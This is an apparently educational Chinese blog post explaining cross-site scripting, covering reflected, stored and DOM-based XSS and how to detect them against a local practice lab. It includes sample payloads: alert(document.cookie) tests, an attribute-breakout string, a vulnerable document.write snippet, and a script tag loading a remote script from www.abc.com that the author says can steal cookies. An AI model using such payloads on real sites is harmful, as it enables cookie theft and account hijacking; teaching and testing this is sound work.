XSS跨站脚本漏洞详解

本文参考资料:《Web安全深度剖析》张炳帅


  • 跨站脚本漏洞:2017年OWASP TOP 7
  • XSS又叫CSS(Cross Site Scripting),但是和指层叠样式表 (Cascading Style Sheets) 缩写重名,所以叫XSS
  • XSS是指攻击者在网页中嵌入脚本代码,通常是JavaScript代码,当用户使用浏览器看这些已经被嵌入恶意代码的网页的时候,这些代码就会执行,进行攻击。
  • XSS 属于客户端的攻击,但是中间体是服务器,并且可以当作入侵服务器的跳板:比如管理员执行了恶意代码,获取到管理员的Cookie,就可以绕过登录验证

XSS原理

  • 原理就是嵌入恶意代码,然后等待被攻击方的执行
    比如下面是一个url连接,我在url链接下输入script代码,就会有弹窗提醒:
    在这里插入图片描述
    在这里插入图片描述
    弹窗只是一个验证过程:不仅仅是弹窗:如果我在其中加入一个链接,而这个链接刚好指向的是我要执行的JavaScript脚本,那么这个脚本就会在客户端进行执行了,比如我输入:
<script src="http://www.abc.com/a.php"></script>

如果这个代码注入到注入点,那么在用户浏览网页的时候,这个a.php就会被执行,具体功能根据a.php的内容,可以是窃取Cookie、可以是监控等等。


XSS类型:

XSS有三种类型:反射型、存储型和DOM型。

反射型XSS

  • 反射型XSS也称为非持久型XSS,是最容易出现的XSS漏洞。
  • 客户访问带有XSS的URL链接——服务器端接收数据处理——把有XSS代码的数据发送到浏览器——浏览器解析这段XSS代码——造成XSS漏洞。这个过程就像反射,所以叫反射型XSS。

还是刚才的靶场,刚才靶场的url链接是:http://127.0.0.1/xsslabs/level1.php?name=test,在name的后面有一个test值,我们更改test值为XSS恶意代码就能够进行攻击:

http://127.0.0.1/xsslabs/level1.php?name=<script>.......</script>

这种招式看似好像非得用户点击我们篡改的URL才能达成攻击效果,也确实是这样,但是不懂XSS攻击的人居多,利用一些社会工程学就可以执行XSS代码。

存储型xss

  • 存储型XSS又叫持久型XSS,危险程度远大于反射型XSS。
  • 允许用户存储数据的web应用都有可能出现XSS漏洞
  • 过程如下:攻击者提交一个带有XSS漏洞的代码——服务器存储——攻击者或者其他人再次访问页面——代码被执行,执行结果难以预料

在测试是否存在XSS的时候,要确定输入点与输出点。
一般在一些留言板上都会有这样的呢输入点,但是要进行代码审计,比如:

<input type="text" name="content" value="<script>alert(/xss/)</script>"/>

一般这种在value属性里面的,是被当作值来处理的,XSS恶意代码无法被执行,当浏览器解析html的时候会以文本的形式输出。
但是我们可以构造相应的标签使代码闭合:
我们的注入语句如果是"/><script>alert(/xss/)</script>"/>,就能够是value值闭合,也使得input标签闭合,如果是论坛或者留言板,这种内容会被传输到数据库进行存储

<input type="text" name="content" value=""/><script>alert(/xss/)</script>"/>

如图所示,我们在靶场里测试需不需要闭合value内容
在这里插入图片描述
比如输入:

<script>alert(document.cookie)</script>

发现value的值被输出,说明需要闭合
在这里插入图片描述
输入:

"/><script>alert(document.cookie)</script>

在这里插入图片描述

DOM XSS

  • DOM的全称是 (document object Model)文档对象类型,DOM经常代表着HTML、XHTML和XML种中的对象。使用DOM可以允许程序或者脚本动态地访问和更新文档的内容结构和样式。
  • DOM为文档提供了结构化的表示,并且定义了如何通过脚本来访问文档的结构。
  • DOM的规定如下
    • 整个文档都是一个文档节点
    • 每个HTML标签则是一个元素节点
    • 包含在HTML元素中的文本则是一个文本节点
    • 每个HTML属性都是一个属性节点
    • 节点与节点之间都有等级关系。
  • 然后HTML的标签都是一个个的节点,这些节点组成了——节点树,也称作DOM树。
    在这里插入图片描述
  • 可以发现,DOM本身就是文档的意思,基于DOM型的XSS是不需要与服务器交互的,只发生在客户端的处理阶段,所以,DOM型XSS有着很好的隐蔽性。
  • 示例:
<script>
	var temp=document.URL;  //获取URL链接
	var index=document.URL.indexOf("content=")+4; //设置初始位置为content=后面四个字节
	var par=temp.substring(index); //par为除了content的值以外的所有内容
	document.write(decodeURI(par)); //输入我们的content的值
</script>

如果我们输入的值为脚本代码,那么就直接可以进行攻击了。


检测 XSS

  • 手工检测:有针对性,结果精准,但是面对大型web应用,效率低
  • 自动检测:依托于漏洞库,方便,但是有可能误报,也有可能检测不出。

手工检测XSS

最重要的是考虑哪里有输入,输入的数据在什么地方输出。
使用手工检测XSS漏洞时,选择有特殊意义的字符,不要直接输入XSS跨站语句测试,应该一步一步进行

可得知输出位置时

输入一些敏感字符,比如 < > " ' ( ) 等等,看这些字符是否被转义。
有可能程序已经进行了过滤,那么寻找这些字符就不太容易,还可以输入AAAAA<> &什么的,然后在源代码中直接找AAAAA更方便。

无法得知输出位置时

很多web源代码不对外公开,或者可能,需要经过审核才能显示
比如:
在div标签中: <div>XSS test</div>
在input标签中: <input type="test" name="content" value="XSS test">
这种情况下,一般采用闭合前面的字符来表示。

全自动检测XSS

市场上有很多软件:

  • Appscan、AWVS、Burp Suite等等,但这些一般是综合扫描
  • 专业扫描XSS的有:XSSER、XSSF 还有XSS漏洞web服务:https://github.com/yaph/domxssscanner专门扫描DOM类的XSS
posted @ 2021-08-13 15:27  Zeker62  阅读(470)  评论(0编辑  收藏  举报